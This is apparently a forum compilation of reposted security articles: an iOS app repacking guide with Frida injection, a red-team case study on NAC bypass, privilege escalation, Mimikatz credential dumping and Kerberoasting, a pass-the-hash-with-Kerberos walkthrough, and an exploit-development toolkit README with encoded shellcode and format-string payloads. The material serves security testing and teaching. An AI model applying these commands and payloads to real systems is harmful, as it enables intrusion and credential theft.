<string>MS4K289Y4F.com.example.amarekano.advrepackdemo</string> ...<truncated for brevity>... <key>com.apple.developer.icloud-services</key> <string>*</string> <key>com.apple.developer.siri</key> <true/> <key>com.apple.developer.team-identifier</key> <string>MS4K289Y4F</string> ... <truncated for brevity>... <key>get-task-allow</key> <true/> <key>keychain-access-groups</key> <array> <string>MS4K289Y4F.*</string> </array> </dict> </plist> 3.4 Updating Application Metadata On successful generation of the Provisioning profile, add the profile to the application bundle and update the various Info.plist files for the application and the application extensions as shown below: Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.advrepackdemo" Payload/LinkedIn.app/Info.plist Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.advrepackdemo.IntentsExtension" Payload/LinkedIn.app/PlugIns/IntentsExtension.appex/Info.plist Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.advrepackdemo.IntentsUIExtension" Payload/LinkedIn.app/PlugIns/IntentsUIExtension.appex/Info.plist Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.advrepackdemo.MessagingNotificationContentExtension" Payload/LinkedIn.app/PlugIns/MessagingNotificationContentExtension.appex/Info.plist Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.advrepackdemo.NewsModuleExtension" Payload/LinkedIn.app/PlugIns/NewsModuleExtension.appex/Info.plist Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.advrepackdemo.ShareExtension" Payload/LinkedIn.app/PlugIns/ShareExtension.appex/Info.plist Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.advrepackdemo.WVMPTodayExtension" Payload/LinkedIn.app/PlugIns/WVMPTodayExtension.appex/Info.plist Amars-Mac:sandbox amarekano$ Do note that generating a Provisioning Profile with entitlements to use the Advanced App Capabilities, requires a unique bundle identifier. In this instance the bundle identifier used was "com.example.amarekano.advrepackdemo". 3.5 Resigning MachO Binaries When resigning application binaries, the order in which binaries are resigned is important when repacking applications with multiple executable binaries. Start by resigning the App Extensions as shown below: Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/LinkedIn.app/PlugIns/IntentsExtension.appex/IntentsExtension Payload/LinkedIn.app/PlugIns/IntentsExtension.appex/IntentsExtension: replacing existing signature Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/LinkedIn.app/PlugIns/IntentsUIExtension.appex/IntentsUIExtension Payload/LinkedIn.app/PlugIns/IntentsUIExtension.appex/IntentsUIExtension: replacing existing signature ... Followed by resigining the Frameworks and dylibs: Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/LinkedIn.app/Frameworks/lmdb.framework/lmdb Payload/LinkedIn.app/Frameworks/lmdb.framework/lmdb: replacing existing signature ... Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/LinkedIn.app/Frameworks/libswiftAVFoundation.dylib Payload/LinkedIn.app/Frameworks/libswiftAVFoundation.dylib: replacing existing signature ... Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/LinkedIn.app/FridaGadget.dylib Payload/LinkedIn.app/FridaGadget.dylib: replacing existing signature Finally resign the LinkedIn application binary with the entitlements generated in Section 3.3 Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" --entitlements entitlements.plist Payload/LinkedIn.app/LinkedIn Payload/LinkedIn.app/LinkedIn: replacing existing signature 3.6 Archive and Install Once the application has been resigned, archive the Payload directory into an IPA and install the repacked IPA onto the target device. Amars-Mac:sandbox amarekano$ zip -qr LinkedIn_resigned.ipa Payload/ Amars-Mac:sandbox amarekano$ ideviceinstaller -i LinkedIn_resigned.ipa WARNING: could not locate iTunesMetadata.plist in archive! Copying 'LinkedIn_resigned.ipa' to device... DONE. Installing 'com.example.amarekano.advrepackdemo' Install: CreatingStagingDirectory (5%) ...<truncated for brevity>... Install: GeneratingApplicationMap (90%) Install: Complete 3.7 Running the Repacked Application Once the repacked application has been successfully installed on the target device, launch it using idevicedebug and then connect to the spawned Frida server. Amars-Mac:sandbox amarekano$ idevicedebug -d run com.example.amarekano.advrepackdemo & Amars-Mac:sandbox amarekano$ frida -H 192.168.1.91:8080 -n Gadget ____ / _ | Frida 10.7.7 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at http://www.frida.re/docs/home/ [Remote::Gadget]-> %resume [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictio naryKey_('CFBundleName')) "LinkedIn" [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictio naryKey_('CFBundleIdentifier')) "com.example.amarekano.advrepackdemo" [Remote::Gadget]-> 4. Repacking Applications that Bundle Companion WatchOS Apps Application Tube Map - London Underground URL https://itunes.apple.com/gb/app/tube-map-london-underground/id320969612?mt=8 Version 5.6.12 IPA SHA1 727f80c3f096dc25da99b9f950a1a8279af1b36c Very often, application developers will include a companion WatchOS application along with their mobile applications. To demonstrate the repacking of iOS application that bundle WatchOS applications, this guide uses the Tube Map application. The layout of the MachO binaries within the IPA is shown below: Payload/ TubeMap.app/ Frameworks/ AFNetworking.framework/ AFNetworking .... <truncated for brevity> ... Watch/ TubeMap WatchKit App.app/ Frameworks/ libswiftCore.dylib ... <truncated for brevity> ... Plugins/ TubeMap WatchKit Extension.appex/ TubeMap WatchKit Extension TubeMap WatchKit App TubeMap 4.1 Decrypting MachO binaries Repacking applications that bundle WatchOS applications presents a unique challenge when it comes to decrypting binaries. All executable binaries within the example applications up until this point in the guide were compiled for a single processor architecture. It was therefore possible to launch these encrypted binaries in a debugger and then dump their decrypted sections. WatchOS binaries are compiled for armv7k architecture. Unfortunately, at the time of writing the author of this guide didn't have a jailbroken iWatch at hand to decrypt the WatchOS binaries. A workaround to to this challenge is discussed below. If the WatchOS application isn't going to be assessed, one could simply delete the Watch/ folder and repack the application just like the previous examples have demonstrated. However, this approach could cause stability issues when running the application, particularly when assessing functionality that involves the WatchOS application. Assuming a jailbroken iWatch is available, one would have to setup debugserver on the jailbroken watch and launch the WatchOS binaries within the debugger. Once applications are running within the debugger, the process to dump decrypted sections of the binaries is the same as regular iOS application binaries that have been demonstrated in the previous examples. 4.2 Patching the Application Patching the decrypted application is once again a matter of adding the FridaGadget dylib to the unpacked IPA and then using optool to insert a load command into the application binary to load the Frida dylib. 4.3 Updating Application Metadata Updating the TubeMap application's metadata involves updating the Info.plist files of the application and the Info.plist files of the application extensions. A suitable provisioning profile needs to be added to the unpacked IPA that targets the specific device. 4.4 Resigning MachO Binaries First resign all bundled frameworks and dylibs and then the application binary. Amars-Mac:Frameworks amarekano$ codesign --force --sign "iPhone Developer: m*******" AFNetworking.framework/AFNetworking AFNetworking.framework/AFNetworking: replacing existing signature ... Amars-Mac:Frameworks amarekano$ codesign --force --sign "iPhone Developer: m*******" libswiftCore.dylib libswiftCore.dylib: replacing existing signature ... Amars-Mac:TubeMap.app amarekano$ codesign --force --sign "iPhone Developer: m*******" --entitlements ../../entitlements.plist TubeMap 4.5 Archive and Install Once the application has been resigned, archive the Payload directory into an IPA and install the repacked IPA onto the target device. Amars-Mac:sandbox amarekano$ zip -qr TubeMap_resigned.ipa Payload/ Amars-Mac:sandbox amarekano$ ideviceinstaller -i TubeMap_resigned.ipa WARNING: could not locate iTunesMetadata.plist in archive! Copying 'TubeMap_resigned.ipa' to device... DONE. Installing 'com.example.amarekano.repackdemo' Install: CreatingStagingDirectory (5%) ...<tuncated for brevity>... Install: GeneratingApplicationMap (90%) Install: Complete 4.6 Running the Repacked Application Once the repacked application has been successfully installed on the target device, launch it using idevicedebug and then connect to the spawned Frida server. Amars-Mac:sandbox amarekano$ frida -H 192.168.1.67:8080 -n Gadget ____ / _ | Frida 10.7.7 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at http://www.frida.re/docs/home/ [Remote::Gadget]-> %resume [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictio naryKey_('CFBundleName')) "Tube Map" [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictio naryKey_('CFBundleIdentifier')) "com.example.amarekano.repackdemo" [Remote::Gadget]-> Closing Thoughts Repacking application is not always straight forward and occasionally researchers will encounter problems when running repacked applications. This could be due to several reasons. Some of these include the applications implementing repack detection by inspecting the bundle id at runtime, detecting debuggers etc. To debug issues as they occur, one should scan the device syslog and dmesg for errors/warnings when running the repacked application. These two sources provide valuable information on running processes. Finally, the information provided in this guide is to aid security researchers in evaluating iOS applications for security vulnerabilities. Sursa: https://labs.mwrinfosecurity.com/blog/repacking-and-resigning-ios-applications/
-
- 1
-
-
Kerberoasting, exploiting unpatched systems – a day in the life of a Red Teamer May 21, 2018 Chetan Nayak Case Studies, Hacks, Penetration Testing, Security Testing, Tools 16 The Scope Recently, we conducted a red team assessment for a large enterprise client where the scenarios allowed were to either use the hardened laptop of the client or to try and connect our own laptop to the network (though they did have a Network Access Control system in place). This blog posts lists out our attempts to overcome the security controls, escalate our privileges, and move through the network, while at the same time ensuring that the SOC does not pick up our activities. For the purpose of this blog, I will be using a virtual name for the bank which is SPB-Groups. Preliminary Escalation: Day 1 We were given a system with Windows 7 x64 and a user named SPB-RANDOM-USER. The user was a non-admin and had extremely limited privileges on the network. PowerShell was blocked on all endpoints. They had Symantec AV and Windows Security Essentials (MSE) on the given system fully updated till date. Alternatively, Cisco NAC agents were also deployed to prevent unauthorized access by external laptops to the client network. All USB ports were disabled, Wi-Fi was enabled, but without any Internet access. So, the primary thing we started with was to find if there were any misconfiguration in the given system through which we could escalate our privileges to local admin. We couldn’t find any since most of the things were blocked by the group policy itself. We decided to split the whole task into two parts. My colleague started to analyze different ways to bypass the security mechanisms on the laptop while I started looking for ways to get access to the network via my personal laptop. Upon searching for patches using the below command: wmic qfe list full /format:htable > Updates.html 1 wmic qfe list full /format:htable > Updates.html we found that the client machine was vulnerable to Meltdown (CVE-2017-5715) and Windows COM Privilege Escalation (CVE-2017-0213). I quickly started searching for a POC for either of the exploits online. It was hard to get a hold of Meltdown since it was newly released and there was only a POC which stated whether the system was vulnerable or not. Using the POC to write a custom Meltdown exploit was the last thing we decided that we would do when everything else fails; since it would be pretty time consuming. However, I found a working binary for CVE-2017-0213 which I have uploaded here. The original source code of the exploit can be found here.. Now we had an exploit which could work, but there was a risk of AV detecting it and alerting it to the SOC which we obviously wanted to avoid. Before testing the exploits, we decided to disconnect the machine from their network and connect to our personal hotspot to upload the binaries of the exploit via HTTP. So, I modified the exploit to avoid AV detection but MSE was pretty strong to detect it no matter what how much we modified it. Now we were stuck with a laptop which we weren’t able to exploit and couldn’t connect it back to the network since it would send an alert of the AV detection. So, while my colleague was busy trying to find a way to bypass the AV, I tried to see if I could bypass the NAC security and get access to the network on my personal laptop. We had a Cisco IP Phone in the room where we were sitting which I then started messing around with, to see if I could get access to the LAN via that. I found that Authentication was enabled without any password. So, I disabled the authentication, changed the mode to Non-Secure and found the MAC address of the IP Phone. I then spoofed the MAC address on my personal Windows machine as below. Device Manager-> Network Adapters -> Ethernet Adapter -> Advanced -> Network Address -> Value Now before connecting my machine to the network I decided to change my hostname to something that matches the hostname schema of the company so that I can hide my laptop in plain sight in the proxy/firewall logs, something like SPB-ComputerName. I then connected the LAN cable and boom! I got an IP address and I was connected to their network. Next step was to find out where were the AD/DC, DNS Servers located. More important than finding the Forest DC was to find the key business Servers which contained the main business applications. Getting access to those meant getting access to the real crown jewels. Rogue Scanning: Day 2 Start of day 2 was disappointing. We returned to the client location only to find out that the primary system which was given to us had already connected back to the WiFi network of the office. This meant that the AV had already pushed up all the alerts that were raised during testing out the exploits a day back. Another problem was when we opened up the laptop, we saw that new patches had been installed and the system was rebooted automatically. Meltdown was patched now. We thought of just keeping the system aside and targeting the network from my personal computer. Instead of using Nmap or some other tool to scan, we decided to directly check the ARP cache and the netstat of the local system. We found a system with the naming convention SPB-DC08 and SPB-RDS30. Looking at the naming convention, we were able to identify that the first one was a DC and second was a Remote Desktop Server. This server RDS30 turned out to be the jump server which is used to connect to various server segments. We then used a PowerShell module named Get-ADComputer on our personal laptop to query the AD to get a list of computers from the AD itself. Doing this it will make sure only legitimate systems are queried and it would keep us away from scanning any decoys (if it were present) or atleast that was the hope. While the query was running, we thought of trying to connect via RDP to the RDS30 server with the default user we were given. We successfully connected to the machine. It was a Windows server 2008 with no AV installed. PowerShell was still blocked however. We had to get PowerShell up and running on this machine there if we wanted to proceed further. Most of the times the Windows AppLocker and the Group Policies block the PowerShell via the file hash. This means if I could use a custom binary to call the PowerShell DLL via winAPI, it would surely work. We thus used the PowerShDLL DLL to call the PowerShell DLL via CMD instead of directly calling the exe of the PowerShell via rundll32. With this we were easily able to bypass the Windows Group Policy App locker/Security policies and get a PowerShell Console. Once, we had PowerShell access in the domain itself, we started to enumerate User SPNs so as to perform Kerberoasting. We used the PowerShell script GetUserSPN.ps1 script to get a list of all user SPNs. Alternatively we thought that since patches are deployed on all systems via SCCM, if our previous system was vulnerable to the CVE-2017-0213, even this should be. And since there is no AV installed, we should be able to escalate our privilege. We moved the CVE binary from my system via RDP to the remote target, executed it and boom! I added a new user as a local admin for persistence which I can connect via Psexec.exe in case my existing user gets blocked since it had already triggered the AV previously. Persistence is a pretty important thing when you perform red team assessments. Now the next best step was to dump the credentials of the system. I used Procdump.exe as below. The aim was to use as low a number of malicious binaries as possible. Since Procdump is officially signed by Microsoft, there was a less chance of it getting sighted as malicious. Once a dump was created, we copied it back to our system and used Mimikatz to dump the creds locally. P.S.: The usernames, domain names, rootkeys, passwords, Authentication IDs which you can see below all have been modified to virtual ones. These are not real and only made to look real so as to make it relatable to the blog. Now we had access to around 8-9 credentials, most of them were normal users however and still we were far away from getting Domain Admins or Application Admins. But this was a good start. Now came the time when we decided to start moving laterally. We started enumerating other systems by guessing and querying the DC name we gathered previously. So, if one system name is RDS30, then there must be others numerically like rds01, rds02, rds03 and so on. So, I wrote a simple script to perform nslookup on the DC in a loop on all these machines to see which machines existed so that I can use the dumped credentials to move laterally throughout the organization. Also, we found a lot of users logged in with the domain/computer SPB-ERP, SPB-IT-HR, SPB-CC-DBADMIN other than the 8-9 compromised users above. This is when we realized that these are not real users. These were the Decoy users and if we would’ve used it, it would straight away raise an alert. So, we decided to use only users which were in the current domain, which looked legit by the naming convention or had logged in 2-3 days old only and by looking at the last login in Mimikatz dump. The Lateral Movement: Day 3 So, one thing we decided was that we won’t use the same creds to login to different machines. So, we started to login with different creds every time we RDP’d to other systems. For eg:- If we had users like SPB-user1, SPB-user2, SPB-user3 and machines like SPB-system1, SPB-system2, SPB-system3; we were moving like this: Login to SPB-system1 with SPB-user1 via RDP Login to SPB-system2 from SPB-system1 via SPB-user2 via RDP Login to SPB-system3 from SPB-system2 from SPB-system1 via SPB-user3 via RDP and so on We were basically 10 systems deep, had slow systems and lagging network connectivity but it kept everything quiet and outside the radar. Every system we logged in, we were taking a look at C:\Users to see if any new user had logged into the system recently (Change in date and time of the folder with username). We were only exploiting the system to dump creds, if any good users were there like DC-Admin, Support-Admin or SAP Admin. In this manner we reached around 60+ RDS systems gathering almost 90-100+ users logged in to the system. We finally found an RDS user and this user had access to most of the RDS System with a bit higher privileges than the normal users that we were using. We also found an excel sheet in one of the RDS Desktop’s C:\ drive with the name “Users info”. When I opened it up it contained usernames and passwords of all local admins of the RDS Systems. This was like hitting the jackpot! So almost all RDS Servers were pawned at this point. Now since we had access to almost all RDS servers, we had 2 options. Primary one being to wait for some admin to login to RDS, check every user folder and then again dump the password for that. Or we can simply run Bloodhound to find active session of users to different computers. Finally, being tired of doing this manually, we decided to use BloodHound. We downloaded the compiled dot net binary of BloodHound and ran it on one of the RDS server SPB-RDS46. And lo and behold. BloodHound gave us a list of active sessions of users and which system they are logged in into currently. P.S: The images are for representational purposes only After checking the details in bloodhound, we found that one of the VMWare admin was logged in into RDS53. We quickly jumped into that server only to find out that all updates had been installed on the system and it asked for a prompt to reboot the system to apply the updates. We postponed it for 10 minutes and saw the C:\Users folder that one SCCM admin had recently logged in to the system just 30 minutes ago. We quickly executed the same exploit CVE-2017-0213, ran Procdump and locally dumped the creds. And finally, we had found the VMWare admin as well as the SCCM Admin creds. Looks like the updates didn’t apply till the system was rebooted and the SCCM admin had logged in to run Microsoft Baseline Security Analyzer for the patches which was still running in the backend. We already had the VMWARE Server name with us with the Get-ADComputer PowerShell script that we ran previously. We RDP’d into the System with the VMWare Admin user and found a weblogin for the VMWare Management Server. We fired up the portal and tried to use the same creds we found previously, and we were now, the VMWare Admin and controlled all the virtualized systems within the Data Center. Updated (to make the statement more clear): We then proceeded to extract the SPN tickets using powershell that we had bypassed previously and also used Impacket for Kerberoasting and then brute forced the tickets to get the credentials. Using this we were able to get access to other systems using the service accounts and then dumped the credentials via procdump and got the creds for the DC-Admin and also the KTBTGT hash. The thing was during the last 2 days I had to move out to a different project and my colleague performed these steps to get the DC. Thus, I have explained only my part of the blogpost. We almost compromised all of the users connected to the servers, SCCM Admins, Few HR and IT personals, RDS Users and all the VMWare server Users. It was funny that how simple mistakes or missing even a simple patch can lead to this much destruction. Only if the NAC was implemented properly, all of this could’ve been impossible since the other system provided by the client was literally worthless with all the security they had applied. Recommendations The NAC was the main point of compromise here. Without the NAC agent installed, it shouldn’t have even assigned an IP address to my personal laptop. Also, the new user that was created and given to us for the activity had low-level access to a number of Jump Servers. This basically meant that there was an improper AD implemented under which new employees are assigned by default to a group that has access to servers. The users and the server segments should’ve been properly segregated and shouldn’t be allowed to RDP or connect to any servers unless there is an absolute business need for it. Another issue was that there was no endpoint protection beyond the anti-virus agent deployed. A UEBA tool or an EDR tool or even simply Sysmon with some open source analytical tool to analyze what’s happening in the backend would have helped pick up the activity possibly. And the main part was that there was no wdigest enabled on the servers where we dumped the credentials. If they had, then we would’ve only found the hash of the password and not the cleartext credentials in the dump. Also when we pwned the DC via Kerberoasting, we had to crack the credentials from the tickets we captured. And the passwords used by the employees were something that could be easily cracked using a wordlist. So complex passwords for service accounts is still a very important security control Additionally, monitoring for Kerberoasting attacks is now strongly recommended. About Latest Posts Follow me at Chetan Nayak OSCP | Security Researcher at Network Intelligence Chetan Nayak is a security researcher in Network Intelligence. He has a keen interest in Malware development, hacking networks, RF devices and threat hunting. Sursa: http://niiconsulting.com/checkmate/2018/05/kerberoasting-exploiting-unpatched-systems-a-day-in-the-life-of-a-red-teamer/
-
- 1
-
-
Pass the Hash with Kerberos Jul 24, 2018 This blog post may be of limited use, most of the time, when you have an NTLM hash, you also have the tools to use it. But, if you find yourself in a situation where you don’t have the tools and do happen to have kerberos tools, you can pass the hash with it. Lets say with have the NTLM hash for the user uberuser and the hash is 88e4d9fabaecf3dec18dd80905521b29. The first step to do so is to create a keytab file using ktutil: root@wpad:~# ktutil At the ktutil prompt, type in the “add entry” (addent) command with the “principals” (-p) flag. Specify the user and an all uppercase version of the FQDN. Then the “KVNO” (-k 1), which is the key number. Finally the encryption type, which is rc4-hmac for NTLM hashes: ktutil: addent -p uberuser@CORP.SOMEWHATREALNEWS.COM -k 1 -key -e rc4-hmac After you hit enter you’ll get prompted for the rc4-hmac (NTLM) hash: Key for uberuser@CORP.SOMEWHATREALNEWS.COM (hex): 88e4d9fabaecf3dec18dd80905521b29 Then we write the keytab file to disk and exit ktutil ktutil: wkt /tmp/a.keytab ktutil: exit The last step before we can use our authentication is to create a kerberos ticket using our keytab file. root@wpad:~# kinit -V -k -t /tmp/a.keytab -f uberuser@CORP.SOMEWHATREALNEWS.COM Using default cache: /tmp/krb5cc_0 Using principal: uberuser@CORP.SOMEWHATREALNEWS.COM Using keytab: /tmp/a.keytab Authenticated to Kerberos v5 Validate it with klist: root@wpad:~# klist Ticket cache: FILE:/tmp/krb5cc_0 Default principal: uberuser@CORP.SOMEWHATREALNEWS.COM Valid starting Expires Service principal 07/22/2018 21:38:43 07/23/2018 07:38:43 krbtgt/CORP.SOMEWHATREALNEWS.COM@CORP.SOMEWHATREALNEWS.COM renew until 07/23/2018 21:38:40 Sursa: https://malicious.link/post/2018/pass-the-hash-with-kerberos/
-
Exploit-Development-Tools A bunch of my exploit development helper tools, that I've developed over time and used, collected in one place. Gathered mostly from my (gists) and/or HDD. Tools of trade: expdevBadChars - This is a Bad Characters highlighter intended to be used for exploit development purposes. It supports multiple input formats and is able to effectively convert from regex-matching format to the byte array. This makes this tool useful while we have for instance shellcode encoded as a Python string concatenation sequence and we want to quickly compare it with the OllyDbg memory that we just dumped (either in textual, printable form or in raw hex binary bytes). For more informations, go to: expdevBadChars ascii-shellcode-encoder.py - ASCII Shellcode encoder for Exploit Development purposes, utilizing Jon Erickson's substract arguments finding algorithm. (Gist) Example output: [*] Input buffer size: 32 bytes. [+] SHELLCODE ENCODED PROPERLY. Resulted length: 207 bytes -------------------------------------------------------------------------------- %JMNU%521*TX-fMUU-fKUU-jPUUP\%JMNU%521*-bb3b-b060-t2C2-SSSSP-5qv7-0g7g-*b0b-7777P-PB0v-mmmm-v6vp-L8KaP-vvrv-4v0v-1K-w-ffffP-nn5n-uu*p-gf1t-iiiiP-VVVn-MmMM-StrS-Duv6P-%9Hx-0Bfk-84fz-ffffP-UUUU-gyUU-uzqq-xwkNP -------------------------------------------------------------------------------- [+] HEX FORM: 254a4d4e55253532312a54582d664d55552d664b55552d6a505555505c254a4d4e55253532312a2d626233622d623036302d743243322d53535353502d357176372d306737672d2a6230622d37373737502d504230762d6d6d6d6d2d763676702d4c384b61502d767672762d347630762d314b2d772d66666666502d6e6e356e2d75752a702d676631742d69696969502d5656566e2d4d6d4d4d2d537472532d44757636502d253948782d3042666b2d3834667a2d66666666502d555555552d677955552d757a71712d78776b4e50 [+] ESCAPED-HEX FORM: \x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x54\x58\x2d\x66\x4d\x55\x55\x2d\x66\x4b\x55\x55\x2d\x6a\x50\x55\x55\x50\x5c\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x62\x62\x33\x62\x2d\x62\x30\x36\x30\x2d\x74\x32\x43\x32\x2d\x53\x53\x53\x53\x50\x2d\x35\x71\x76\x37\x2d\x30\x67\x37\x67\x2d\x2a\x62\x30\x62\x2d\x37\x37\x37\x37\x50\x2d\x50\x42\x30\x76\x2d\x6d\x6d\x6d\x6d\x2d\x76\x36\x76\x70\x2d\x4c\x38\x4b\x61\x50\x2d\x76\x76\x72\x76\x2d\x34\x76\x30\x76\x2d\x31\x4b\x2d\x77\x2d\x66\x66\x66\x66\x50\x2d\x6e\x6e\x35\x6e\x2d\x75\x75\x2a\x70\x2d\x67\x66\x31\x74\x2d\x69\x69\x69\x69\x50\x2d\x56\x56\x56\x6e\x2d\x4d\x6d\x4d\x4d\x2d\x53\x74\x72\x53\x2d\x44\x75\x76\x36\x50\x2d\x25\x39\x48\x78\x2d\x30\x42\x66\x6b\x2d\x38\x34\x66\x7a\x2d\x66\x66\x66\x66\x50\x2d\x55\x55\x55\x55\x2d\x67\x79\x55\x55\x2d\x75\x7a\x71\x71\x2d\x78\x77\x6b\x4e\x50 [+] PYTHON COMPACT SEXY FORM: shellcode += r"%JMNU%521*TX-fMUU-fK" shellcode += r"UU-jPUUP\%JMNU%521*-" shellcode += r"bb3b-b060-t2C2-SSSSP" shellcode += r"-5qv7-0g7g-*b0b-7777" shellcode += r"P-PB0v-mmmm-v6vp-L8K" shellcode += r"aP-vvrv-4v0v-1K-w-ff" shellcode += r"ffP-nn5n-uu*p-gf1t-i" shellcode += r"iiiP-VVVn-MmMM-StrS-" shellcode += r"Duv6P-%9Hx-0Bfk-84fz" shellcode += r"-ffffP-UUUU-gyUU-uzq" shellcode += r"q-xwkNP" It is possible also to generate list of SUB instructions to compute only one DWORD: kali $ ./ascii-shellcode-encoder.py 0x1688 [*] Input buffer size: 4 bytes. [+] SHELLCODE ENCODED PROPERLY. Resulted length: 21 bytes -------------------------------------------------------------------------------- -A777-i%%%-r2II-\ZZZP -------------------------------------------------------------------------------- [+] HEX FORM: 2d413737372d692525252d723249492d5c5a5a5a50 [+] ESCAPED-HEX FORM: \x2d\x41\x37\x37\x37\x2d\x69\x25\x25\x25\x2d\x72\x32\x49\x49\x2d\x5c\x5a\x5a\x5a\x50 [+] PYTHON COMPACT SEXY FORM: shellcode += r"-A777-i%%%-r2II-\ZZZ" shellcode += r"P" format_string_vuln_gen.py - Format String vulnerability input generator to be used during exploit development stage at constructing stable x86 (32bit) input vectors. (Gist) Example usage scenario - Using Format String vulnerability, we want to overwrite two DWORDs at specified addresses with some specific values: root# ./gen_format_string.py 0xbffff50c,0xbffff514 14 $'\x90\x31\xe6\xb7' $'\x24\x3a\xf8\xb7' -n 1 .:: x86/32bit Format string generator ::. - by mgeeky, 2016, v0.3a [>] Addresses to overwrite: ['0xbffff50c', '0xbffff514'] (...) Resulted format string to use (116 bytes long / 0x74) padded in front with 1 dots to mimic offset: $'.\x0c\xf5\xff\xbf\x0e\xf5\xff\xbf\x14\xf5\xff\xbf\x16\xf5\xff\xbf%12671x%14$hn%34390x%15$hn%33342x%16$hn%32212x%17$hn' lindump - simple process memory dumping utility based on ptrace :: lindump v0.1 Simple Linux process memory dumping utility based on ptrace Mariusz B., '16 Usage: lindump [options] <pid> [start [stop|Llen]] Arguments: <pid> Process ID start Dumping start address, may be 0x for hex, or not for dec. stop Upper address to reach while dumping. When preceded with letter 'L' stands for length Llen Specifies number of bytes to dump. Also may be preceded with 0x (e.g. L0x10) Options: -o Memory dumps output directory (stdout hexdump otherwise, '-' for stdout) -f Force dumping of unreadable or inaccessible regions (still not a brute force) -v Verbose output. -h This cruft dlresolve - dynamic symbol resolve utility useful while in need of obtainin symbol's address and it's offset relative to the libc's base (handy while crafting ASLR exploits) ./dlresolve system [+] libc comes from: /lib/x86_64-linux-gnu/libc-2.19.so [+] libc loaded at: 0x7f44e2b24000 [+] system located at: 0x7f44e2b65490 [+] Offset from libc base: 0x00041490 python_memory_dump.py - Example of dumping memory from within Python's code, using ctypes.c_byte.from_address (Gist) Example usage: $ ./python_memory_dump.py Hex dump from 0x000055b92c7c2000 0000 | 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 | .ELF............ 0010 | 03 00 3e 00 01 00 00 00 10 42 0d 00 00 00 00 00 | ..>......B...... 0020 | 40 00 00 00 00 00 00 00 38 4c 39 00 00 00 00 00 | @.......8.9..... 0030 | 00 00 00 00 40 00 38 00 09 00 40 00 1e 00 1d 00 | ....@.8...@..... 0040 | 06 00 00 00 05 00 00 00 40 00 00 00 00 00 00 00 | ........@....... 0050 | 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 | @.......@....... 0060 | 08 01 00 00 00 00 00 00 08 01 00 00 00 00 00 00 | ................ 0070 | 08 00 00 00 00 00 00 00 03 00 00 00 04 00 00 00 | ................ 0080 | 38 02 00 00 00 00 00 00 38 02 00 00 00 00 00 00 | 8.......8....... 0090 | 38 02 00 00 00 00 00 00 1c 00 00 00 00 00 00 00 | 8............... 00a0 | 1c 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 | ................ 00b0 | 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 | ................ 00c0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 00d0 | 0c 2d 32 00 00 00 00 00 0c 2d 32 00 00 00 00 00 | .-2......-2..... 00e0 | 00 00 20 00 00 00 00 00 01 00 00 00 06 00 00 00 | .. ............. 00f0 | 38 39 32 00 00 00 00 00 38 39 52 00 00 00 00 00 | .92......9R..... kernel_dump_seh.wds - Windbg script that dumps Structured Exception Handlers linked-list from Kernel Mode KPCR structure. Useful while working on Kernel-Mode SEH-based exploitation. (Gist) Example output: 0: kd> $$><C:\Users\ieuser\Desktop\dump_seh.wds KPCR. = 0x8293dc00 KPCR.NtTib.ExceptionList = 0x829371ec SEH[00]: Next: 0x82937254, Handler: 0x828d36f0 SEH[01]: Next: 0x82937ad4, Handler: 0x828d36f0 SEH[02]: Next: 0x82937c04, Handler: 0x828d36f0 SEH[03]: Next: 0x9a1092e4, Handler: 0x828d36f0 SEH[04]: Next: 0x9a1093ec, Handler: 0x828d36f0 SEH[05]: Next: 0x9a109a34, Handler: 0x8288aad6 SEH[06]: Next: 0x9a109b3c, Handler: 0x828d36f0 SEH[07]: Next: 0x9a10a184, Handler: 0x8288aad6 SEH[08]: Next: 0x9a10a28c, Handler: 0x828d36f0 SEH[09]: Next: 0x9a10a8d4, Handler: 0x8288aad6 SEH[10]: Next: 0x9a10a9dc, Handler: 0x828d36f0 SEH[11]: Next: 0x9a10b024, Handler: 0x8288aad6 SEH[12]: Next: 0x9a10b12c, Handler: 0x828d36f0 SEH[13]: Next: 0x9a10b76c, Handler: 0x8288aad6 SEH[14]: Next: 0x9a10bac0, Handler: 0x828d36f0 SEH[15]: Next: 0x35724134, Handler: 0x41367241 ^-- Broken Handler. printable.sh - One liner determining whether Metasploit's msfpescan's output addresses are printable (contain only ascii characters) or not. (Gist) pexpect-interactive.py - Basic Python's pexpect usage routines in interactive process invocation. Especially handy when it comes to heap-overflow or Use-After-Free exploits, since such process interaction in python may be 